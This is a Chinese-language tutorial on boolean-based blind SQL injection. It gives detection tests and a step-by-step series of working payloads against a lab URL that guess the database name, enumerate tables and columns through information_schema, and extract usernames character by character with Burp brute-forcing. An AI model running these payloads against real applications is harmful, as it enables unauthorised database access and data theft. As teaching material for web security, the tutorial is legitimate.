Boolean注入
有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这
种情况下的注入,称为盲注。 盲注根据展现方式,分为boolean型盲注和时间型盲注。
Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。
Boolean型盲注的判断方式
通过长度判断length():length(database())>=x
通过字符判断substr():substr(database(),1,1) =‘s’
通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x
注入漏洞判断
1.id=1’ 报错
2.id=1 and 1=1 结果和id=1一样
3.id=1 and 1=2 结果异常
Boolean注入攻击
Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。
A:判断数据库名的长度
http://172.16.16.10/web/sql/boolean.php?id=1' and length(database())>=1--+
B:判断数据库名
‘and substr(database(),1,1)--+
C:Burp判断数据库名
id=1' and substr(database(),1,1)='a'--+
D:Burpsuite爆破数据库的表名
id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+
E:Burp爆字段名
id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+
F:获取数据
id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
boolean注入代码分析
在boolean注入页面中程序先获取GET参数 ID,通过preg_match判断其中是否存在 union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no